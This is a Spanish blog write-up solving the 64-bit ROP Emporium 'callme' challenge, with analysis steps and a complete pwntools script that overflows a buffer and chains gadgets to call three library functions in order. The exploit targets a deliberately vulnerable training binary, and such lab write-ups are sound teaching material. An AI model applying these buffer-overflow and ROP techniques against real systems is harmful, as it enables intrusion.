Binary Exploitation (XX): Solución Reto ROP Emporium "callme"

Continúo poniendo las soluciones de un sitio que he encontrado para aprender ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), a través de una serie de desafíos diseñados para enseñar diversas técnicas.

Como siempre utilizo la versión de 64 bits del desafío.

En este post la solución al reto que lleva por título "callme", y que, en mi opinión, presenta un nivel de dificultad medio (★★★☆☆).

- Enunciado:

Además, se explica que la PLT ('Procedure Linkage Table') se utiliza para resolver en tiempo de ejecución direcciones de funciones en bibliotecas importadas, y a modo de instrucciones se proporcionan las siguientes:

Important:

To dispose of the need for any RE I'll tell you the following:

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

- Solución:

1.- Se proporcionan cinco archivos: callme, encrypted_flag.dat, key1.dat, key2.dat y libcallme.so. Por el último párrafo de las instrucciones entiendo que puedo obviar los tres ficheros .dat.

Lo primero que hago es ejecutar el archivo callme y veo que es vulnerable a un ataque de desbordamiento de 'buffer' (en inglés, 'buffer overflow'):

2.- Compruebo los mecanismos de seguridad del binario utilizando ‘checksec’ y veo que ‘NX’ está habilitado, lo que significa que la pila es no ejecutable:

3.- Decompilo el binario usando ‘Ghidra’ y veo que en la función main() se realiza una llamada a la función pwnme():

En la función pwnme(), que es donde el programa es vulnerable a un desbordamiento de 'buffer', el 'buffer' tiene un tamaño de 32 bytes (0x20) y la dirección de retorno de la función pwnme() tendría un desplazamiento de 0x28 bytes (40) desde el inicio del buffer:

Además, veo que la función usefulFunction(), a la que no se llama nunca, realiza sendas llamadas a las tres funciones que hay que llamar en el reto para que se muestre la flag, sin embargo no se llaman en el orden correcto ni se les pasan los valores adecuados de los parámetros para ello:

Desensamblo la función usefulFunction() utilizando 'gdb', y veo que las direcciones de las funciones callme_one(), callme_two() y callme_three() son '0x400720', '0x400740', '0x4006f0', respectivamente:

Ya tengo toda la información necesaria para crear el 'exploit' (aunque para una mejor comprensión de la solución he obtenido de forma manual las direcciones de las tres funciones a llamar, en el 'script' de python dejaré que se obtengan por mi de forma automática).

4.- El plan de ataque consiste en sobrescribir la dirección de retorno de la función pwnme() con la de inicio de una cadena ROP (en inglés, 'ROP chain') que llame a las tres funciones en el orden correcto y con los parámetros adecuados en cada llamada, lo que mostrará la flag.

5.- Creo el 'exploit' mediante un pequeño 'script' en python y lo ejecuto:

Antes de crear el 'exploit', tal y como dije en el post anterior, conviene recordar que. al contrario que en los binarios de 32 bits en los que los argumentos se pasan a las funciones a través de la pila, en los de 64 bits los 6 primeros argumentos se pasan a las funciones a través de registros. En concreto, el primer argumento se pasa a través del registro RDI, el segundo en RSI y el tercero en RDX.

Para localizar en el propio binario un 'gadget' o 'gadgets' que me puedan servir para incluir cada uno de los parámetros en su correspondiente registro actúo de la siguiente manera, y veo que en la dirección '0x000000000040093c' existe un 'gadget' que me puede servir perfectamente para ello:

A partir de aquí, creo un pequeño 'script' en python y lo ejecuto:

from pwn import *

# Indicar a pwntools el binario objetivo

elf = context.binary = ELF('callme')

# Relleno hasta la dirección de retorno de pwnme()

offset_padding = b'A'*40

# Dirección del gadget: pop rdi ; pop rsi ; pop rdx ; ret

info('0x40093c pop rdi; pop rsi; pop rdx; ret')

gadget = p64(0x000000000040093c)

# Argumentos

arg_1 = p64(0xdeadbeefdeadbeef)

arg_2 = p64(0xcafebabecafebabe)

arg_3 = p64(0xd00df00dd00df00d)

# Direcciones de las funciones callme

info('%#x callme_one', elf.symbols.callme_one)

callme_one = p64(elf.symbols.callme_one)

info('%#x callme_two', elf.symbols.callme_two)

callme_two = p64(elf.symbols.callme_two)

info('%#x callme_three', elf.symbols.callme_three)

callme_three = p64(elf.symbols.callme_three)

# Enviar

p = process(elf.path)

payload = offset_padding+gadget+arg_1+arg_2+arg_3+callme_one+gadget+arg_1+arg_2+arg_3+callme_two+gadget+arg_1+arg_2+arg_3+callme_three

p.sendline(payload)

# Recibir e imprimir

print(p.recvall())